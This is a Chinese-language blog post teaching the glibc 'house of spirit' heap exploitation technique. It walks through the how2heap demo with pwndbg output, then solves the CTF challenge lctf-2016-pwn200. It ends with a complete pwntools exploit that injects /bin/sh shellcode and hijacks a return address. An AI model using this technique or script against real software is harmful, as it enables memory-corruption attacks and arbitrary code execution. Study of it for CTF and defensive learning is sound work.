目錄
  1. 1. 前言
  2. 2. how2heap源码分析
    1. 2.1. 源码
    2. 2.2. 动态调试
    3. 2.3. 攻击条件
    4. 2.4. 攻击原理
  3. 3. 例题:lctf-2016-pwn200
    1. 3.1. 动态调试
    2. 3.2. 利用
    3. 3.3. 完整exp
堆学习之house of spirit

前言

一直对house of系列的利用模棱两可,现在刚好可以利用疫情在家的时间好好梳理一下。

house of spirit(以下简称hos)是 the Malloc Maleficarum 中的一种技术。该技术的核心在于在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的。

how2heap源码分析

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);

fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];

fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

动态调试

调用一次malloc设置内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Breakpoint hos.c:11
pwndbg> heap
0x603000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x603020 PREV_INUSE {
prev_size = 0,
size = 135137,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}

假设存在某个可控的区域,例如栈上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Breakpoint hos.c:18
pwndbg> p a
$1 = (unsigned long long *) 0x7fffffffde28
pwndbg> p *a
$2 = 140737488347640
pwndbg> p fake_chunks
$3 = {1, 140737488346448, 140737354129768, 15775231, 1, 4196589, 140737488346414, 0, 4196512, 4195760}
pwndbg> p &fake_chunks
$4 = (unsigned long long (*)[10]) 0x7fffffffdcd0
pwndbg> x/10gx &fake_chunks
0x7fffffffdcd0: 0x0000000000000001 0x00007fffffffdd50
0x7fffffffdce0: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffdcf0: 0x0000000000000001 0x00000000004008ed
0x7fffffffdd00: 0x00007fffffffdd2e 0x0000000000000000
0x7fffffffdd10: 0x00000000004008a0 0x00000000004005b0

设置fake_chunk的size和next chunk size来绕过检测

1
2
3
4
5
6
7
8
9
Breakpoint hos.c:26
pwndbg> p fake_chunks
$5 = {1, 64, 140737354129768, 15775231, 1, 4196589, 140737488346414, 0, 4196512, 4660}
pwndbg> x/10gx &fake_chunks
0x7fffffffdcd0: 0x0000000000000001 0x0000000000000040 <-fake_chunk size
0x7fffffffdce0: 0x00007ffff7ffe168 0x0000000000f0b5ff
0x7fffffffdcf0: 0x0000000000000001 0x00000000004008ed
0x7fffffffdd00: 0x00007fffffffdd2e 0x0000000000000000
0x7fffffffdd10: 0x00000000004008a0 0x0000000000001234 <-next chunk size

假设存在某个漏洞是我们可以free掉fake_chunk

1
2
3
Breakpoint hos.c:30
pwndbg> p a
$6 = (unsigned long long *) 0x7fffffffdce0

free(a)

1
2
3
4
5
6
7
8
9
10
Breakpoint hos.c:33
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffdcd0 ◂— 0x0 <- fake_chunk
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

malloc(0x30)或malloc(0x38)

1
2
3
Breakpoint hos.c:34
pwndbg> n
malloc(0x30): 0x7fffffffdce0

成功分配堆块到fake_chunk!

攻击条件

  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求(<= 128 on x64),同时也得对齐
  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

攻击原理

1
2
3
4
5
6
7
-----------------------
|可控区域(设置fakesize)|
-----------------------
|不可控区域 |
-----------------------
|可控区域(设置nextsize)|
-----------------------

例题:lctf-2016-pwn200

动态调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/40gx $rsp+8
0x7fffffffdbe0: 0x000000000000000e 0x0000000000000000
0x7fffffffdbf0: 0x00007fffffffdc10 0x00000000004009e0
0x7fffffffdc00: 0x0000000000000000 0x00007ffff7ffe168
0x7fffffffdc10: 0x00007fffffffdc60 0x0000000000400a8c
0x7fffffffdc20: 0x00007fff0a626262(moeny) 0x0000000000000000
0x7fffffffdc30: 0x0000000000000000 0x00007ffff7a43e90
0x7fffffffdc40: 0x0000000000000009 0x00000000004008b5
0x7fffffffdc50:(fake_chunk)0x0000000000003233 0x0000000000603010(堆地址,可修改)
0x7fffffffdc60: 0x00007fffffffdcc0 0x0000000000400b34(函数返回地址)
0x7fffffffdc70: 0x00007ffff7dd18e0 0x00007ffff7fd8700
0x7fffffffdc80: 0x0000000000000003 0x0000000000000020(id)
0x7fffffffdc90: 0x00007fff00616161(name) 0x00007ffff7a7cfb4
0x7fffffffdca0: 0x0000000000000000 0x0000000000000000
0x7fffffffdcb0: 0x00007fffffffdcc0 0x00000000004007dd
0x7fffffffdcc0: 0x00007fffffffdce0(rbp) 0x0000000000400b59
0x7fffffffdcd0: 0x00007fffffffddc8 0x0000000100000000
0x7fffffffdce0: 0x0000000000400b60 0x00007ffff7a2d830
0x7fffffffdcf0: 0x0000000000000001 0x00007fffffffddc8
0x7fffffffdd00: 0x00000001f7ffcca0 0x0000000000400b36
0x7fffffffdd10: 0x0000000000000000 0xb01cdc16417a5d66

name的大小为48,因此可以泄露rbp,可以看到:

  • name_addr = rbp - 0x50
  • fake_chunk = name_addr- 0x90

money的大小0x40,可以设置fake_chunk size = 0x40以及修改堆地址为fake_chunk的地址(0x7fffffffdc50)

id刚好为nextsize

利用

  1. 在name处写入shellcode
  2. 利用hos控制fake_chunk
  3. 修改函数返回地址为name地址,即shellcode地址
  4. 函数返回,执行shellcode

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context.log_level = 'debug'
p = process("./pwn200")

p.recvuntil("who are u?")
# shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
shellcode=""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
print len(shellcode)
payload = shellcode.ljust(48)
p.send(payload)
p.recvuntil(payload)
rbp = u64(p.recv(6).ljust(8,'\x00'))
print hex(rbp)
shellcode_addr = rbp - 0x50
fake_chunk = shellcode_addr - 0x40
p.recvuntil("give me your id ~~?")
p.sendline('32')
p.recvuntil("give me money~")
payload = p64(0)*5 + p64(0x41) + p64(0) +p64(fake_chunk)
p.send(payload)
p.recvuntil("choice :")
p.sendline('2')
p.recvuntil("choice :")
p.sendline('1')
p.sendlineafter("how long?","48")
payload = p64(0)*3 + p64(shellcode_addr)
p.sendlineafter("money :",payload)
p.sendlineafter("choice :",'3')
p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/03/26/堆学习之house-of-spirit/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL